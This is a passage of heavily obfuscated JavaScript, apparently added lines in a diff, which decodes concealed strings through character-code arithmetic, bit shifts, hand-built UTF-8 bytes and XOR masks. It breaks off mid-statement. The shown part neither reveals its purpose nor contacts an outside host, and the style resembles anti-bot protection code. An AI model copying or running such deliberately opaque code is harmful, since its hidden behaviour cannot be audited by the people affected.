_$bz, _$lz, _$hz, _$gz, _$uz, _$pz, _$yz, _$wz, _$dz, _$Mz, _$Iz, _$Az, _$Sz, _$mz, _$Tz, _$jz, _$Cz, _$Dz, _$Kz, _$Qz, _$Wz, _$Yz, _$Uz, _$Oz, _$Pz, _$Gz, _$Nz, _$Zz, _$zz, _$Ez, _$Rz, _$_z, _$Lz, _$Vz, _$qz, _$Hz, _$xz, _$Bz, _$Xz, _$Fz, _$Jz, _$$z, _$aE, _$eE, _$rE, _$cE, _$vE, _$sE, _$nE, _$fE, _$tE, _$iE, _$oE, _$kE, _$bE, _$lE, _$hE, _$gE, _$uE, _$pE, _$yE, _$wE, _$dE, _$ME, _$IE, _$AE, _$SE, _$mE, _$TE, _$jE, _$CE, _$DE, _$KE, _$QE, _$WE, _$YE, _$UE, _$OE, _$PE, _$GE, _$NE, _$ZE, _$zE, _$EE, _$RE, _$_E, _$LE, _$VE, _$qE, _$HE, _$xE, _$BE, _$XE, _$FE, _$JE, _$$E, _$aR, _$eR, _$rR, _$cR, _$vR, _$sR, _$nR, _$fR, _$tR, _$iR, _$oR, _$kR, _$bR, _$lR, _$hR, _$gR, _$uR, _$pR, _$yR, _$wR, _$dR, _$MR, _$IR, _$AR, _$SR, _$mR, _$TR, _$jR, _$CR, _$DR, _$KR, _$QR, _$WR, _$YR, _$UR, _$OR, _$PR, _$GR, _$NR, _$ZR, _$zR, _$ER, _$RR, _$_R, _$LR, _$VR, _$qR, _$HR, _$xR, _$BR, _$XR, _$FR, _$JR, _$$R, _$a_, _$e_, _$r_, _$c_, _$v_, _$s_, _$n_, _$f_, _$t_, _$i_, _$o_, _$k_, _$b_, _$l_, _$h_, _$g_, _$u_, _$p_, _$y_, _$w_, _$d_, _$M_, _$I_, _$A_, _$S_, _$m_, _$T_, _$j_, _$C_, _$D_, _$K_, _$Q_, _$W_, _$Y_, _$U_, _$O_, _$P_, _$G_, _$N_, _$Z_, _$z_, _$E_, _$R_, _$__, _$L_, _$V_, _$q_, _$H_, _$x_, _$B_, _$X_, _$F_, _$J_, _$$_, _$aL, _$eL, _$rL, _$cL, _$vL, _$sL, _$nL, _$fL, _$tL, _$iL, _$oL, _$kL, _$bL, _$lL, _$hL, _$gL, _$uL, _$pL, _$yL, _$wL, _$dL, _$ML, _$IL, _$AL, _$SL, _$mL, _$TL, _$jL, _$CL, _$DL, _$KL, _$QL, _$WL, _$YL, _$UL, _$OL, _$PL, _$GL, _$NL, _$ZL, _$zL, _$EL, _$RL, _$_L, _$LL, _$VL, _$qL, _$HL, _$xL, _$BL, _$XL, _$FL, _$JL, _$$L, _$aV, _$eV, _$rV, _$cV, _$vV, _$sV, _$nV, _$fV, _$tV, _$iV, _$oV, _$kV, _$bV, _$lV, _$hV, _$gV, _$uV, _$pV, _$yV, _$wV, _$dV, _$MV, _$IV, _$AV, _$SV, _$mV, _$TV, _$jV, _$CV, _$DV, _$KV, _$QV, _$WV, _$YV, _$UV, _$OV, _$PV, _$GV, _$NV, _$ZV, _$zV, _$EV, _$RV, _$_V, _$LV, _$VV, _$qV, _$HV, _$xV, _$BV, _$XV, _$FV, _$JV, _$$V, _$aq, _$eq, _$rq, _$cq, _$vq, _$sq, _$nq, _$fq, _$tq, _$iq, _$oq, _$kq, _$bq, _$lq, _$hq, _$gq, _$uq, _$pq, _$yq, _$wq, _$dq, _$Mq, _$Iq, _$Aq, _$Sq, _$mq, _$Tq, _$jq, _$Cq, _$Dq, _$Kq, _$Qq, _$Wq, _$Yq, _$Uq, _$Oq, _$Pq, _$Gq, _$Nq, _$Zq, _$zq, _$Eq, _$Rq, _$_q, _$Lq, _$Vq, _$qq, _$Hq, _$xq, _$Bq, _$Xq, _$Fq, _$Jq, _$$q, _$aH, _$eH, _$rH, _$cH, _$vH, _$sH, _$nH, _$fH, _$tH, _$iH, _$oH, _$kH, _$bH, _$lH, _$hH, _$gH, _$uH, _$pH, _$yH, _$wH, _$dH, _$MH, _$IH, _$AH, _$SH, _$mH, _$TH, _$jH, _$CH, _$DH, _$KH, _$QH, _$WH, _$YH, _$UH, _$OH, _$PH, _$GH, _$NH, _$ZH, _$zH, _$EH, _$RH, _$_H, _$LH, _$VH, _$qH, _$HH, _$xH, _$BH, _$XH, _$FH, _$JH, _$$H, _$ax, _$ex, _$rx; + _$Qv = 1; + _$Wv = 2; + _$Yv = [_$Qv, _$Wv]; + _$Uv = _$Yv; + _$Ov = 3; + _$Pv = 4; + _$Gv = [_$Ov, _$Pv]; + _$Nv = _$Gv; + _$Zv = []; + _$zv = _$Zv; + _$Ev = 0; + _$Rv = _$Ev; + _$_v = 0; + _$Lv = _$_v; + _$Vv = _$Uv; + _$qv = _$PC; + _$Hv = _$Vv[_$qv]; + _$xv = _$Nv; + _$Bv = _$PC; + _$Xv = _$xv[_$Bv]; + _$Fv = _$Hv + _$Xv; + _$Jv = _$Fv; + _$$v = _$kp; + _$as = _$$v; + _$es = 1; + _$rs = _$es; + _$Qv = _$rs; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$rs = _$Yv; + _$Qv = 1; + _$as = _$Qv; + _$Qv = _$BC; + _$cs = _$Qv; + _$Qv = _$rs; + _$as = _$Qv; + _$Qv = 1632; + _$Wv = 1728; + _$Yv = 1776; + _$Ov = 1776; + _$Pv = 1824; + _$Gv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv]; + _$rs = _$Gv; + for (_$vs = 0; _$vs < _$rs.length; _$vs++) { + _$Qv = _$cs; + _$Wv = _$rs; + _$Yv = _$vs; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$cs = _$Ev + } + _$Qv = _$rs; + _$Wv = _$LC; + _$Yv = _$as; + _$Ov = _$Qv[_$Wv](_$Yv); + _$rs = _$Ov; + _$Qv = Math; + _$Wv = _$cs; + _$Yv = _$Jv; + _$Ov = 2; + _$Pv = _$Yv / _$Ov; + _$Gv = _$Qv[_$Wv](_$Pv); + _$Zv = 1; + _$Ev = _$Gv + _$Zv; + _$ss = _$Ev; + _$_v = _$LW; + _$ns = _$_v; + _$Vv = _$gv + _$Iv + _$fv + _$mv + _$xc + _$uv + _$ev + _$kv + _$lv + _$Kv + _$Mv + _$sv + _$wv + _$Tv + _$av + _$Cv + _$cv + _$qc + _$Dv + _$Bc + _$jv + _$Av + _$dv + _$Jc + _$vv + _$Fc + _$Hc + _$yv + _$pv + _$bv + _$nv + _$ov + _$tv + _$rv + _$Xc + _$$c + _$Sv + _$hv + _$iv; + _$fs = _$Vv; + _$qv = _$fs; + _$Hv = _$OC; + _$xv = 0; + _$Bv = _$qv[_$Hv](_$xv); + _$Xv = _$fs; + _$Fv = _$PC; + _$$v = _$Xv[_$Fv]; + _$es = _$Bv - _$$v; + _$ts = _$bW(_$es); + _$is = _$ts; + for (_$os = 1; _$os < _$fs.length; _$os++) { + _$Qv = _$fs; + _$Wv = _$OC; + _$Yv = _$os; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$is; + _$Gv = _$OC; + _$Zv = _$os; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$is += _$Hv + } + _$Qv = _$is; + _$bs = _$Qv; + _$ls = (_$ks = {}, + _$ks); + _$Wv = _$Cc + _$Ec + _$zc + _$Gc + _$jc + _$Dc + _$Pc + _$Oc + _$Rc + _$_c + _$Qc + _$Yc + _$Zc + _$Uc + _$Lc + _$Vc + _$Kc + _$Wc + _$Nc; + _$hs = _$Wv; + _$Yv = _$hs; + _$Ov = _$OC; + _$Pv = 0; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$hs; + _$Ev = _$PC; + _$_v = _$Zv[_$Ev]; + _$Vv = _$Gv - _$_v; + _$qv = _$bW(_$Vv); + _$gs = _$qv; + for (_$us = 1; _$us < _$hs.length; _$us++) { + _$Qv = _$hs; + _$Wv = _$OC; + _$Yv = _$us; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$gs; + _$Gv = _$OC; + _$Zv = _$us; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$gs += _$Hv + } + _$Qv = _$gs; + _$ps = _$Qv; + for (_$ys = 0; _$ys < _$bs.length; ) { + _$Qv = _$ps; + _$Wv = _$_C; + _$Yv = _$bs; + _$Ov = _$_C; + _$Pv = _$ys; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$OC; + _$Ev = _$Gv[_$Zv](); + _$_v = 32; + _$Vv = _$Ev - _$_v; + _$qv = _$Qv[_$Wv](_$Vv); + _$ws = _$qv; + _$Hv = _$ps; + _$xv = _$_C; + _$Bv = _$bs; + _$Xv = _$_C; + _$Fv = _$ys; + _$$v = 1; + _$es = _$Fv + _$$v; + _$ts = _$Bv[_$Xv](_$es); + _$ds = _$OC; + _$Ms = _$ts[_$ds](); + _$Is = 32; + _$As = _$Ms - _$Is; + _$Ss = _$Hv[_$xv](_$As); + _$ms = _$Ss; + _$Qv = _$ls; + _$Wv = _$ws; + _$Yv = _$ms; + _$Qv[_$Wv] = _$Yv; + _$Qv = _$ys; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$ys = _$Yv + } + _$Qv = _$ls; + _$Ts = _$Qv; + _$Wv = _$Ac + _$Tc + _$Ic + _$mc + _$Sc; + _$Os = _$Wv; + _$Qv = _$Os; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$js = _$Yv; + _$Qv = []; + _$Ps = _$Qv; + for (_$Gs = 0; _$Gs < _$js; _$Gs++) { + _$Qv = _$Os; + _$Wv = _$OC; + _$Yv = _$Gs; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Cs = _$Ov; + _$Qv = _$Cs; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$Cs; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$Cs; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$Cs; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$Cs; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$Cs; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$Ps; + _$Wv = _$LC; + _$Yv = _$Cs; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$Ps; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ds = _$Yv; + _$Qv = _$Ds; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$Ds = _$Yv; + _$Qv = []; + _$Zs = _$Qv; + _$Qv = 0; + _$Ks = _$Qv; + for (_$zs = 0; _$zs < _$Ds; _$zs++) { + _$Qv = _$Ps; + _$Wv = _$Ks; + _$Yv = _$Qv[_$Wv]; + _$Ys = _$Yv; + _$Qv = _$Ps; + _$Wv = _$Ks; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Us = _$Pv; + _$Qv = _$Ks; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$Ks = _$Yv; + _$Qv = _$Ys; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$Ys = _$Yv; + _$Qv = _$Us; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$Us = _$Yv; + _$Qv = _$Us; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$Ys; + _$Pv = _$Yv + _$Ov; + _$Ws = _$Pv; + _$Qv = _$Ws; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$Qs = _$Yv; + _$Qv = _$Zs; + _$Wv = _$zs; + _$Yv = _$Qs; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$Es = _$Qv; + for (_$qs = 0; _$qs < _$Zs.length; _$qs++) { + _$Qv = _$Zs; + _$Wv = _$qs; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$dc + _$Mc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Rs = _$Gv; + _$Qv = _$Rs; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$_s = _$Ov; + _$Qv = _$_s; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$Rs; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$_s; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$Ls = _$Pv; + _$Qv = _$Zs; + _$Wv = _$qs; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$wc + _$yc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$Ls; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$Vs = _$qv; + for (_$Bs = 0; _$Bs < _$Ls; _$Bs++) { + _$Qv = _$Zs; + _$Wv = _$Bs; + _$Yv = _$qs; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$dc + _$Mc; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$Vs += _$qv + } + _$Qv = _$Vs; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$Es += _$Ov; + _$Qv = _$Ls; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$qs += _$Yv + } else { + _$Qv = _$Zs; + _$Wv = _$qs; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$Es += _$Ov + } + } + _$Qv = _$Es; + _$Xs = _$Qv; + _$Wv = _$op; + _$Fs = _$Wv; + _$Yv = 1; + _$Js = _$Yv; + _$Qv = _$Js; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Js = _$Yv; + _$Qv = 1; + _$Fs = _$Qv; + _$Qv = _$BC; + _$$s = _$Qv; + _$Qv = _$Js; + _$Fs = _$Qv; + _$Qv = 114688; + _$Wv = 88064; + _$Yv = 147456; + _$Ov = 94208; + _$Pv = 116736; + _$Gv = 98304; + _$Zv = 147456; + _$Ev = 204800; + _$_v = 235520; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$Js = _$Vv; + for (_$an = 0; _$an < _$Js.length; _$an++) { + _$Qv = _$$s; + _$Wv = _$Js; + _$Yv = _$an; + _$Ov = _$Wv[_$Yv]; + _$Pv = 11; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$$s = _$Ev + } + _$Qv = _$Js; + _$Wv = _$LC; + _$Yv = _$Fs; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Js = _$Ov; + _$Qv = _$$s; + _$en = _$Qv; + _$Wv = _$BC; + _$rn = _$Wv; + _$Yv = _$ip; + _$cn = _$Yv; + _$Ov = 1; + _$vn = _$Ov; + _$Qv = _$vn; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$vn = _$Yv; + _$Qv = 1; + _$cn = _$Qv; + _$Qv = _$BC; + _$sn = _$Qv; + _$Qv = _$vn; + _$cn = _$Qv; + _$Qv = 56832; + _$Wv = 50176; + _$Yv = 54272; + _$Ov = 51712; + _$Pv = 50688; + _$Gv = 59392; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$vn = _$Zv; + for (_$nn = 0; _$nn < _$vn.length; _$nn++) { + _$Qv = _$sn; + _$Wv = _$vn; + _$Yv = _$nn; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$sn = _$Ev + } + _$Qv = _$vn; + _$Wv = _$LC; + _$Yv = _$cn; + _$Ov = _$Qv[_$Wv](_$Yv); + _$vn = _$Ov; + _$Qv = _$tp; + _$fn = _$Qv; + _$Wv = 1; + _$tn = _$Wv; + _$Qv = _$tn; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$tn = _$Yv; + _$Qv = 1; + _$fn = _$Qv; + _$Qv = _$BC; + _$in = _$Qv; + _$Qv = _$tn; + _$fn = _$Qv; + _$Qv = 113664; + _$Wv = 112640; + _$Yv = 111616; + _$Ov = 103424; + _$Pv = 117760; + _$Gv = 117760; + _$Zv = 99328; + _$Ev = 105472; + _$_v = 103424; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$tn = _$Vv; + for (_$on = 0; _$on < _$tn.length; _$on++) { + _$Qv = _$in; + _$Wv = _$tn; + _$Yv = _$on; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$in = _$Ev + } + _$Qv = _$tn; + _$Wv = _$LC; + _$Yv = _$fn; + _$Ov = _$Qv[_$Wv](_$Yv); + _$tn = _$Ov; + _$Qv = _$$W; + _$Wv = _$in; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$sn; + _$Pv = _$Yv === _$Ov; + _$kn = _$Pv; + _$Gv = _$BC; + _$bn = _$Gv; + for (_$ln = 0, + _$hn = _$Xs.length; _$ln < _$hn; ++_$ln) { + _$Qv = _$fp; + _$gn = _$Qv; + _$Wv = 1; + _$un = _$Wv; + _$Qv = _$un; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$un = _$Yv; + _$Qv = 1; + _$gn = _$Qv; + _$Qv = _$BC; + _$pn = _$Qv; + _$Qv = _$un; + _$gn = _$Qv; + _$Qv = 425984; + _$Wv = 397312; + _$Yv = 471040; + _$Ov = 323584; + _$Pv = 487424; + _$Gv = 450560; + _$Zv = 327680; + _$Ev = 466944; + _$_v = 454656; + _$Vv = 458752; + _$qv = 413696; + _$Hv = 466944; + _$xv = 475136; + _$Bv = 495616; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$un = _$Xv; + for (_$yn = 0; _$yn < _$un.length; _$yn++) { + _$Qv = _$pn; + _$Wv = _$un; + _$Yv = _$yn; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$pn = _$Ev + } + _$Qv = _$un; + _$Wv = _$LC; + _$Yv = _$gn; + _$Ov = _$Qv[_$Wv](_$Yv); + _$un = _$Ov; + _$Qv = _$Ts; + _$Wv = _$pn; + _$Yv = _$Xs; + _$Ov = _$_C; + _$Pv = _$ln; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$Qv[_$Wv](_$Gv); + if (_$Zv) { + _$Qv = _$Ts; + _$Wv = _$Xs; + _$Yv = _$_C; + _$Ov = _$ln; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Qv[_$Pv]; + _$rn += _$Gv + } else { + _$Qv = _$Xs; + _$Wv = _$_C; + _$Yv = _$ln; + _$Ov = _$Qv[_$Wv](_$Yv); + _$rn += _$Ov + } + } + for (_$ln = 0, + _$hn = _$en.length; _$ln < _$hn; ++_$ln) { + _$Qv = _$gc + _$hc + _$uc + _$pc; + _$wn = _$Qv; + _$Wv = _$wn; + _$Yv = _$OC; + _$Ov = 0; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$wn; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv - _$Ev; + _$Vv = _$bW(_$_v); + _$dn = _$Vv; + for (_$Mn = 1; _$Mn < _$wn.length; _$Mn++) { + _$Qv = _$wn; + _$Wv = _$OC; + _$Yv = _$Mn; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$dn; + _$Gv = _$OC; + _$Zv = _$Mn; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$dn += _$Hv + } + _$Qv = _$Ts; + _$Wv = _$dn; + _$Yv = _$en; + _$Ov = _$_C; + _$Pv = _$ln; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$Qv[_$Wv](_$Gv); + if (_$Zv) { + _$Qv = _$Ts; + _$Wv = _$en; + _$Yv = _$_C; + _$Ov = _$ln; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Qv[_$Pv]; + _$bn += _$Gv + } else { + _$Qv = _$en; + _$Wv = _$_C; + _$Yv = _$ln; + _$Ov = _$Qv[_$Wv](_$Yv); + _$bn += _$Ov + } + } + _$Qv = _$ns; + _$Wv = _$rn; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bn; + _$Pv = _$Yv[_$Ov]; + _$In = _$Pv; + _$Qv = []; + _$LW = _$Qv; + for (_$ln = 0, + _$An = _$In.length; _$ln < _$An; _$ln++) { + _$Qv = _$LW; + _$Wv = _$LC; + _$Yv = _$In; + _$Ov = _$ln; + _$Pv = _$Yv[_$Ov]; + _$Gv = 52; + _$Zv = _$Pv ^ _$Gv; + _$Qv[_$Wv](_$Zv) + } + _$Qv = _$zY; + _$_W = _$Qv; + try { + _$Qv = _$VW; + _$Sn = _$Qv; + _$Wv = _$BC; + _$mn = _$Wv; + _$Yv = _$bc + _$lc + _$kc + _$ic + _$oc; + _$Tn = _$Yv; + _$Ov = _$Tn; + _$Pv = _$OC; + _$Gv = 0; + _$Zv = _$Ov[_$Pv](_$Gv); + _$Ev = _$Tn; + _$_v = _$PC; + _$Vv = _$Ev[_$_v]; + _$qv = _$Zv - _$Vv; + _$Hv = _$bW(_$qv); + _$jn = _$Hv; + for (_$Cn = 1; _$Cn < _$Tn.length; _$Cn++) { + _$Qv = _$Tn; + _$Wv = _$OC; + _$Yv = _$Cn; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$jn; + _$Gv = _$OC; + _$Zv = _$Cn; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$jn += _$Hv + } + _$Qv = _$jn; + _$Dn = _$Qv; + _$Wv = _$np; + _$Kn = _$Wv; + _$Yv = 1; + _$Qn = _$Yv; + _$Qv = _$Qn; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Qn = _$Yv; + _$Qv = 1; + _$Kn = _$Qv; + _$Qv = _$BC; + _$Wn = _$Qv; + _$Qv = _$Qn; + _$Kn = _$Qv; + _$Qv = 16384; + _$Wv = 54272; + _$Yv = 16896; + _$Ov = 33792; + _$Pv = 17408; + _$Gv = 32256; + _$Zv = 17920; + _$Ev = 36864; + _$_v = 18432; + _$Vv = 19456; + _$qv = 18944; + _$Hv = 23552; + _$xv = 19456; + _$Bv = 33280; + _$Xv = 19968; + _$Fv = 28672; + _$$v = 20480; + _$es = 40960; + _$ts = 20992; + _$ds = 60928; + _$Ms = 64512; + _$Is = 16384; + _$As = 21504; + _$Ss = 45056; + _$Yn = 22016; + _$Un = 61440; + _$On = 22528; + _$Pn = 34816; + _$Gn = 23040; + _$Nn = 46080; + _$Zn = 23552; + _$zn = 49152; + _$En = 24064; + _$Rn = 45568; + _$_n = 24576; + _$Ln = 31232; + _$Vn = 25088; + _$qn = 17920; + _$Hn = 25600; + _$xn = 19968; + _$Bn = 26112; + _$Xn = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts, _$ds, _$Ms, _$Is, _$As, _$Ss, _$Yn, _$Un, _$On, _$Pn, _$Gn, _$Nn, _$Zn, _$zn, _$En, _$Rn, _$_n, _$Ln, _$Vn, _$qn, _$Hn, _$xn, _$Bn, 24064, 26624, 52736, 27136, 21504, 27648, 55808, 28160, 58880, 28672, 41984, 29184, 53760, 29696, 24576, 30208, 30720, 30720, 22528, 31232, 29184, 31744, 54784, 32256, 43008, 32768, 48640, 33280, 37888, 33792, 60416, 34304, 35328, 34816, 62464, 35328, 35840, 35840, 50688, 36352, 42496, 36864, 27136, 37376, 43520, 37888, 51712, 38400, 20480, 38912, 18944, 39424, 41472, 39936, 59392, 40448, 49664, 40960, 40448, 41472, 57856, 41984, 46592, 42496, 64512, 43008, 47104, 43520, 57344, 44032, 31744, 44544, 56320, 45056, 36352, 45568, 56832, 46080, 39936, 46592, 61952, 47104, 38400, 47616, 29696, 48128, 38912, 48640, 22016, 49152, 26112, 49664, 30208, 50176, 16896, 50688, 32768, 51200, 53248, 51712, 44032, 52224, 20992, 52736, 34304, 53248, 37376, 53760, 39424, 54272, 18432, 54784, 23040, 55296, 55296, 55808, 48128, 56320, 27648, 56832, 58368, 57344, 50176, 57856, 51200, 58368, 44544, 58880, 28160, 59392, 26624, 59904, 25088, 60416, 64e3, 60928, 59904, 61440, 52224, 61952, 63488, 62464, 62976, 62976, 25600, 63488, 47616, 64e3, 17408]; + _$Qn = _$Xn; + for (_$Fn = 0; _$Fn < _$Qn.length; _$Fn++) { + _$Qv = _$Wn; + _$Wv = _$Qn; + _$Yv = _$Fn; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Wn = _$Ev + } + _$Qv = _$Qn; + _$Wv = _$LC; + _$Yv = _$Kn; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Qn = _$Ov; + _$Qv = _$Wn; + _$Jn = _$Qv; + _$$n = (_$ks = {}, + _$ks); + _$Wv = _$Cc + _$Vr + _$Xr + _$fc + _$Lr + _$Hr + _$vc + _$_r + _$ac + _$ec + _$Fr + _$Jr + _$sc + _$cc + _$tc + _$rc + _$$r + _$nc + _$qr + _$Br + _$xr; + _$af = _$Wv; + _$Yv = _$af; + _$Ov = _$OC; + _$Pv = 0; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$af; + _$Ev = _$PC; + _$_v = _$Zv[_$Ev]; + _$Vv = _$Gv - _$_v; + _$qv = _$bW(_$Vv); + _$ef = _$qv; + for (_$rf = 1; _$rf < _$af.length; _$rf++) { + _$Qv = _$af; + _$Wv = _$OC; + _$Yv = _$rf; + _$Ov = 